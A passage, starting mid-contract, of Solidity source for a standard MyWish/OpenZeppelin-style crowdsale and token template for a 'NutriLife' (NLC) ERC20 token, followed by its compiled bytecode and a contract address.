_weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title TimedCrowdsale * @dev Crowdsale accepting contributions only within a time frame. */ contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { // solium-disable-next-line security/no-block-members require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } /** * @dev Constructor, takes crowdsale opening and closing times. * @param _openingTime Crowdsale opening time * @param _closingTime Crowdsale closing time */ constructor(uint256 _openingTime, uint256 _closingTime) public { // solium-disable-next-line security/no-block-members require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { // solium-disable-next-line security/no-block-members return block.timestamp > closingTime; } /** * @dev Extend parent behavior requiring to be within contributing period * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { // freezing chains mapping (bytes32 => uint64) internal chains; // freezing amounts for each chain mapping (bytes32 => uint) internal freezings; // total freezing balance per address mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); /** * @dev Gets the balance of the specified address include freezing tokens. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } /** * @dev Gets the balance of the specified address without freezing tokens. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } /** * @dev gets freezing count * @param _addr Address of freeze tokens owner. */ function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } /** * @dev gets freezing end date and freezing balance for the freezing portion specified by index. * @param _addr Address of freeze tokens owner. * @param _index Freezing portion index. It ordered by release date descending. */ function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } /** * @dev freeze your tokens to the specified address. * Be careful, gas usage is not deterministic, * and depends on how many freezes _to address already has. * @param _to Address to which token will be freeze. * @param _amount Amount of token to freeze. * @param _until Release date, must be in future. */ function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } /** * @dev release first available freezing tokens. */ function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } /** * @dev release all available for release freezing tokens. Gas usage is not deterministic! * @return how many tokens was released */ function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { // WISH masc to increase entropy result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { /** * @dev Mint the specified amount of token to the specified address and freeze it until the specified date. * Be careful, gas usage is not deterministic, * and depends on how many freezes _to address already has. * @param _to Address to which token will be freeze. * @param _amount Amount of token to mint and freeze. * @param _until Release date, must be in future. * @return A boolean that indicates if the operation was successful. */ function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 18; uint8 public constant TOKEN_DECIMALS_UINT8 = 18; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "NutriLife"; string public constant TOKEN_SYMBOL = "NLC"; bool public constant PAUSED = false; address public constant TARGET_USER = 0x7A72911D42387d01D7396542fE8b4cF2e84F9B35; uint public constant START_TIME = 1550239740; bool public constant CONTINUE_MINTING = true; } /** * @title FinalizableCrowdsale * @dev Extension of Crowdsale where an owner can do extra work * after finishing. */ contract FinalizableCrowdsale is TimedCrowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); /** * @dev Must be called after crowdsale ends, to do some extra finalization * work. Calls the contract's finalization function. */ function finalize() onlyOwner public { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } /** * @dev Can be overridden to add finalization logic. The overriding function * should call super.finalization() to ensure the chain of finalization is * executed entirely. */ function finalization() internal { } } /** * @title CappedCrowdsale * @dev Crowdsale with a limit for total contributions. */ contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; /** * @dev Constructor, takes maximum amount of wei accepted in the crowdsale. * @param _cap Max amount of wei to be contributed */ constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Checks whether the cap has been reached. * @return Whether the cap was reached */ function capReached() public view returns (bool) { return weiRaised >= cap; } /** * @dev Extend parent behavior requiring purchase to respect the funding cap. * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(weiRaised.add(_weiAmount) <= cap); } } /** * @title MintedCrowdsale * @dev Extension of Crowdsale contract whose tokens are minted in each purchase. * Token ownership should be transferred to MintedCrowdsale for minting. */ contract MintedCrowdsale is Crowdsale { /** * @dev Overrides delivery by minting tokens upon purchase. * @param _beneficiary Token purchaser * @param _tokenAmount Number of tokens to be minted */ function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { require(MintableToken(token).mint(_beneficiary, _tokenAmount)); } } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } } contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale { function hasStarted() public view returns (bool) { return now >= openingTime; } function startTime() public view returns (uint256) { return openingTime; } function endTime() public view returns (uint256) { return closingTime; } function hasClosed() public view returns (bool) { return super.hasClosed() || capReached(); } function hasEnded() public view returns (bool) { return hasClosed(); } function finalization() internal { super.finalization(); if (PAUSED) { MainToken(token).unpause(); } if (!CONTINUE_MINTING) { require(MintableToken(token).finishMinting()); } Ownable(token).transferOwnership(TARGET_USER); } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate).div(1 ether); } } contract BonusableCrowdsale is Consts, Crowdsale { /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { uint256 bonusRate = getBonusRate(_weiAmount); return _weiAmount.mul(bonusRate).div(1 ether); } function getBonusRate(uint256 _weiAmount) internal view returns (uint256) { uint256 bonusRate = rate; // apply bonus for time & weiRaised uint[3] memory weiRaisedStartsBounds = [uint(0),uint(16666666666666666666667),uint(33333333333333333333333)]; uint[3] memory weiRaisedEndsBounds = [uint(16666666666666666666667),uint(33333333333333333333333),uint(50000000000000000000000)]; uint64[3] memory timeStartsBounds = [uint64(1550239740),uint64(1550934540),uint64(1551625740)]; uint64[3] memory timeEndsBounds = [uint64(1550934540),uint64(1551625740),uint64(1552835335)]; uint[3] memory weiRaisedAndTimeRates = [uint(500),uint(300),uint(100)]; for (uint i = 0; i < 3; i++) { bool weiRaisedInBound = (weiRaisedStartsBounds[i] <= weiRaised) && (weiRaised < weiRaisedEndsBounds[i]); bool timeInBound = (timeStartsBounds[i] <= now) && (now < timeEndsBounds[i]); if (weiRaisedInBound && timeInBound) { bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000; } } return bonusRate; } } contract WhitelistedCrowdsale is Crowdsale, Ownable { mapping (address => bool) private whitelist; event WhitelistedAddressAdded(address indexed _address); event WhitelistedAddressRemoved(address indexed _address); /** * @dev throws if buyer is not whitelisted. * @param _buyer address */ modifier onlyIfWhitelisted(address _buyer) { require(whitelist[_buyer]); _; } /** * @dev add single address to whitelist */ function addAddressToWhitelist(address _address) external onlyOwner { whitelist[_address] = true; emit WhitelistedAddressAdded(_address); } /** * @dev add addresses to whitelist */ function addAddressesToWhitelist(address[] _addresses) external onlyOwner { for (uint i = 0; i < _addresses.length; i++) { whitelist[_addresses[i]] = true; emit WhitelistedAddressAdded(_addresses[i]); } } /** * @dev remove single address from whitelist */ function removeAddressFromWhitelist(address _address) external onlyOwner { delete whitelist[_address]; emit WhitelistedAddressRemoved(_address); } /** * @dev remove addresses from whitelist */ function removeAddressesFromWhitelist(address[] _addresses) external onlyOwner { for (uint i = 0; i < _addresses.length; i++) { delete whitelist[_addresses[i]]; emit WhitelistedAddressRemoved(_addresses[i]); } } /** * @dev getter to determine if address is in whitelist */ function isWhitelisted(address _address) public view returns (bool) { return whitelist[_address]; } /** * @dev Extend parent behavior requiring beneficiary to be in whitelist. * @param _beneficiary Token beneficiary * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyIfWhitelisted(_beneficiary) { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract TemplateCrowdsale is Consts, MainCrowdsale , BonusableCrowdsale , WhitelistedCrowdsale { event Initialized(); event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime); bool public initialized = false; constructor(MintableToken _token) public Crowdsale(6000 * TOKEN_DECIMAL_MULTIPLIER, 0x7A72911D42387d01D7396542fE8b4cF2e84F9B35, _token) TimedCrowdsale(START_TIME > now ? START_TIME : now, 1552835340) CappedCrowdsale(50000000000000000000000) { } function init() public onlyOwner { require(!initialized); initialized = true; if (PAUSED) { MainToken(token).pause(); } address[4] memory addresses = [address(0x021855a73ed2fc1ef650cae86f372d159f0334b9),address(0x021855a73ed2fc1ef650cae86f372d159f0334b9),address(0x021855a73ed2fc1ef650cae86f372d159f0334b9),address(0x021855a73ed2fc1ef650cae86f372d159f0334b9)]; uint[4] memory amounts = [uint(100000000000000000000000000),uint(25000000000000000000000000),uint(25000000000000000000000000),uint(50000000000000000000000000)]; uint64[4] memory freezes = [uint64(1552835401),uint64(1552835401),uint64(1552835401),uint64(1552835401)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { MainToken(token).mint(addresses[i], amounts[i]); } else { MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } transferOwnership(TARGET_USER); emit Initialized(); } function setEndTime(uint _endTime) public onlyOwner { // only if CS was not ended require(now < closingTime); // only if new end time in future require(now < _endTime); require(_endTime > openingTime); emit TimesChanged(openingTime, _endTime, openingTime, closingTime); closingTime = _endTime; } /** * @dev override purchase validation to add extra value logic. * @return true if sended more than minimal value */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(msg.value <= 5000000000000000000000); super._preValidatePurchase(_beneficiary, _weiAmount); } }
0x6080604052600436106101a75763ffffffff60e060020a6000350416623fd35a81146101b25780631515bc2b146101db578063158ef93e146101f0578063188214001461020557806324953eaa1461028f578063286dd3f5146102af5780632a905318146102d05780632c4e722e146102e55780633197cbb61461030c578063355274ea146103215780633af32abf146103365780634042b66f1461035757806344691f7e1461036c5780634b6753bc146103815780634bb278f3146103965780634f935945146103ab578063521eb273146103c057806356780085146103f15780635b7f415c14610406578063715018a61461041b578063726a431a1461043057806378e97925146104455780637b9417c81461045a5780638d4e40831461047b5780638da5cb5b14610490578063a9aad58c146104a5578063b7a8807c146104ba578063ccb98ffc146104cf578063cf3b1967146104e7578063ddaa26ad14610512578063e1c7392a14610527578063e2ec6ec31461053c578063ec8ac4d81461055c578063ecb70fb714610570578063f2fde38b14610585578063fc0c546a146105a6575b6101b0336105bb565b005b3480156101be57600080fd5b506101c761065d565b604080519115158252519081900360200190f35b3480156101e757600080fd5b506101c7610662565b3480156101fc57600080fd5b506101c761067f565b34801561021157600080fd5b5061021a610688565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561025457818101518382015260200161023c565b50505050905090810190601f1680156102815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561029b57600080fd5b506101b060048035602481019101356106bf565b3480156102bb57600080fd5b506101b0600160a060020a0360043516610778565b3480156102dc57600080fd5b5061021a6107d8565b3480156102f157600080fd5b506102fa61080f565b60408051918252519081900360200190f35b34801561031857600080fd5b506102fa610815565b34801561032d57600080fd5b506102fa61081b565b34801561034257600080fd5b506101c7600160a060020a0360043516610821565b34801561036357600080fd5b506102fa61083f565b34801561037857600080fd5b506101c7610845565b34801561038d57600080fd5b506102fa61084e565b3480156103a257600080fd5b506101b0610854565b3480156103b757600080fd5b506101c761090e565b3480156103cc57600080fd5b506103d5610919565b60408051600160a060020a039092168252519081900360200190f35b3480156103fd57600080fd5b506102fa610928565b34801561041257600080fd5b506102fa610934565b34801561042757600080fd5b506101b0610939565b34801561043c57600080fd5b506103d56109a7565b34801561045157600080fd5b506102fa6109bf565b34801561046657600080fd5b506101b0600160a060020a03600435166109c5565b34801561048757600080fd5b506101c7610a28565b34801561049c57600080fd5b506103d5610a49565b3480156104b157600080fd5b506101c7610a58565b3480156104c657600080fd5b506102fa610a5d565b3480156104db57600080fd5b506101b0600435610a63565b3480156104f357600080fd5b506104fc610934565b6040805160ff9092168252519081900360200190f35b34801561051e57600080fd5b506102fa610af5565b34801561053357600080fd5b506101b0610afd565b34801561054857600080fd5b506101b06004803560248101910135610dfe565b6101b0600160a060020a03600435166105bb565b34801561057c57600080fd5b506101c7610ec0565b34801561059157600080fd5b506101b0600160a060020a0360043516610eca565b3480156105b257600080fd5b506103d5610eed565b3460006105c88383610efc565b6105d182610f21565b6003549091506105e7908363ffffffff610f5e16565b6003556105f48382610f71565b60408051838152602081018390528151600160a060020a0386169233927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18929081900390910190a36106468383610f1d565b61064e610f7b565b6106588383610f1d565b505050565b600181565b600061066c610fb4565b8061067a575061067a61090e565b905090565b60095460ff1681565b60408051808201909152600981527f4e757472694c6966650000000000000000000000000000000000000000000000602082015281565b600654600090600160a060020a031633146106d957600080fd5b5060005b8181101561065857600860008484848181106106f557fe5b60209081029290920135600160a060020a0316835250810191909152604001600020805460ff1916905582828281811061072b57fe5b90506020020135600160a060020a0316600160a060020a03167ff1abf01a1043b7c244d128e8595cf0c1d10743b022b03a02dffd8ca3bf729f5a60405160405180910390a26001016106dd565b600654600160a060020a0316331461078f57600080fd5b600160a060020a038116600081815260086020526040808220805460ff19169055517ff1abf01a1043b7c244d128e8595cf0c1d10743b022b03a02dffd8ca3bf729f5a9190a250565b60408051808201909152600381527f4e4c430000000000000000000000000000000000000000000000000000000000602082015281565b60025481565b60055490565b60075481565b600160a060020a031660009081526008602052604090205460ff1690565b60035481565b60045442101590565b60055481565b600654600160a060020a0316331461086b57600080fd5b60065474010000000000000000000000000000000000000000900460ff161561089357600080fd5b61089b610662565b15156108a657600080fd5b6108ae610fbc565b6040517f6823b073d48d6e3a7d385eeb601452d680e74bb46afe3255a7d778f3a9b1768190600090a16006805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b600754600354101590565b600154600160a060020a031681565b670de0b6b3a764000081565b601281565b600654600160a060020a0316331461095057600080fd5b600654604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26006805473ffffffffffffffffffffffffffffffffffffffff19169055565b737a72911d42387d01d7396542fe8b4cf2e84f9b3581565b60045490565b600654600160a060020a031633146109dc57600080fd5b600160a060020a038116600081815260086020526040808220805460ff19166001179055517fd1bba68c128cc3f427e5831b3c6f99f480b6efa6b9e80c757768f6124158cc3f9190a250565b60065474010000000000000000000000000000000000000000900460ff1681565b600654600160a060020a031681565b600081565b60045481565b600654600160a060020a03163314610a7a57600080fd5b6005544210610a8857600080fd5b428111610a9457600080fd5b6004548111610aa257600080fd5b6004546005546040805183815260208101859052808201939093526060830191909152517ff6b7151023ee87a6a0cc1f6cea30e02351728911b7b848aa8abde4d1f09172b79181900360800190a1600555565b635c66c7fc81565b610b05611419565b610b0d611419565b610b15611419565b600654600090600160a060020a03163314610b2f57600080fd5b60095460ff1615610b3f57600080fd5b6009805460ff191660011790555050604080516080818101835273021855a73ed2fc1ef650cae86f372d159f0334b98083526020808401829052838501829052606080850192909252845180840186526a52b7d2dcc80cd2e400000081526a14adf4b7320334b9000000818301819052818701526a295be96e640669720000008184015285519384018652635c8e63498085529184018290529483018190529082015290935090915060005b6004811015610db257818160048110610c0057fe5b602002015167ffffffffffffffff161515610ccc57600054600160a060020a03166340c10f19858360048110610c3257fe5b6020020151858460048110610c4357fe5b60200201516040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610c9a57600080fd5b505af1158015610cae573d6000803e3d6000fd5b505050506040513d6020811015610cc457600080fd5b50610daa9050565b600054600160a060020a0316630bb2cd6b858360048110610ce957fe5b6020020151858460048110610cfa57fe5b6020020151858560048110610d0b57fe5b60200201516040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a031681526020018381526020018267ffffffffffffffff1667ffffffffffffffff1681526020019350505050602060405180830381600087803b158015610d7d57600080fd5b505af1158015610d91573d6000803e3d6000fd5b505050506040513d6020811015610da757600080fd5b50505b600101610beb565b610dcf737a72911d42387d01d7396542fe8b4cf2e84f9b35610eca565b6040517f5daa87a0e9463431830481fd4b6e3403442dfb9a12b9c07597e9f61d50b633c890600090a150505050565b600654600090600160a060020a03163314610e1857600080fd5b5060005b8181101561065857600160086000858585818110610e3657fe5b60209081029290920135600160a060020a0316835250810191909152604001600020805460ff1916911515919091179055828282818110610e7357fe5b90506020020135600160a060020a0316600160a060020a03167fd1bba68c128cc3f427e5831b3c6f99f480b6efa6b9e80c757768f6124158cc3f60405160405180910390a2600101610e1c565b600061067a610662565b600654600160a060020a03163314610ee157600080fd5b610eea81611052565b50565b600054600160a060020a031681565b69010f0cf064dd59200000341115610f1357600080fd5b610f1d82826110d0565b5050565b600080610f2d83611103565b9050610f57670de0b6b3a7640000610f4b858463ffffffff6112c016565b9063ffffffff6112e916565b9392505050565b81810182811015610f6b57fe5b92915050565b610f1d82826112fe565b600154604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610eea573d6000803e3d6000fd5b600554421190565b610fc46113a7565b60008054604080517ff2fde38b000000000000000000000000000000000000000000000000000000008152737a72911d42387d01d7396542fe8b4cf2e84f9b3560048201529051600160a060020a039092169263f2fde38b9260248084019382900301818387803b15801561103857600080fd5b505af115801561104c573d6000803e3d6000fd5b50505050565b600160a060020a038116151561106757600080fd5b600654604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a038216600090815260086020526040902054829060ff1615156110f957600080fd5b61065883836113a9565b60008061110e611438565b611116611438565b61111e611438565b611126611438565b61112e611438565b5050600254604080516060818101835260008083526903878076a58c7e6aaaab602080850182905269070f00ed4b18fcd555558587018190528651808601885292835282820152690a968163f0a57b4000008287015285518085018752635c66c7fc8152635c71620c818301819052635c7bee0c82890181905288518088018a5291825281840152635c8e630781890152875195860188526101f4865261012c9286019290925260649685019690965295995092975091955091935080805b60038310156112b157600354888460038110151561120757fe5b60200201511115801561122b575086836003811061122157fe5b6020020151600354105b91504286846003811061123a57fe5b602002015167ffffffffffffffff1611158015611270575084836003811061125e57fe5b602002015167ffffffffffffffff1642105b905081801561127c5750805b156112a6576103e884846003811061129057fe5b60200201518a028115156112a057fe5b04890198505b6001909201916111ed565b50969998505050505050505050565b60008215156112d157506000610f6b565b508181028183828115156112e157fe5b0414610f6b57fe5b600081838115156112f657fe5b049392505050565b60008054604080517f40c10f19000000000000000000000000000000000000000000000000000000008152600160a060020a03868116600483015260248201869052915191909216926340c10f1992604480820193602093909283900390910190829087803b15801561137057600080fd5b505af1158015611384573d6000803e3d6000fd5b505050506040513d602081101561139a57600080fd5b50511515610f1d57600080fd5b565b6113b382826113d4565b6007546003546113c9908363ffffffff610f5e16565b1115610f1d57600080fd5b60045442101580156113e857506005544211155b15156113f357600080fd5b610f1d8282600160a060020a038216151561140d57600080fd5b801515610f1d57600080fd5b6080604051908101604052806004906020820280388339509192915050565b60606040519081016040528060039060208202803883395091929150505600a165627a7a72305820a085517b4930fe75122f5a15f7a91339d02d35bc6e18e3a2812f6a4e52982d210029
[ 1, 16, 7, 5 ]
0xf2c84aaa9374239f53132a0e90b47b6584bb8a35
